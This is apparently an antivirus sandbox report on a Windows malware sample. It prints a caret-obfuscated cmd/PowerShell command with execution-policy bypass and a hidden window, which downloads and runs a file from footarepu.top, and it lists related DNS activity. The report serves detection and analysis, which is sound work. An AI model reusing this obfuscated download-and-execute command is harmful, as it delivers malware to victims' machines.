Technical Information
Malicious functions
Downloads and executes
- http://footarepu.top/read.php?f=0.dat as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "Po^WER^she^lL.E^XE ^-eXe^cUtI^onp^oLicy ^bYp^As^S -Nopro^fI^le^ -^wIndOWsTy^Le HIDD^EN (^n^EW^-^oBj^Ec^t SYstE^m.nET^.w^Eb^cLIEnt^).D^owNl^o^aDFILe('http://footarepu.top/read.p...
Network activity
UDP
- DNS ASK fo###repu.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "Po^WER^she^lL.E^XE ^-eXe^cUtI^onp^oLicy ^bYp^As^S -Nopro^fI^le^ -^wIndOWsTy^Le HIDD^EN (^n^EW^-^oBj^Ec^t SYstE^m.nET^.w^Eb^cLIEnt^).D^owNl^o^aDFILe('http://footarepu.top/read.p...' (with hidden window)
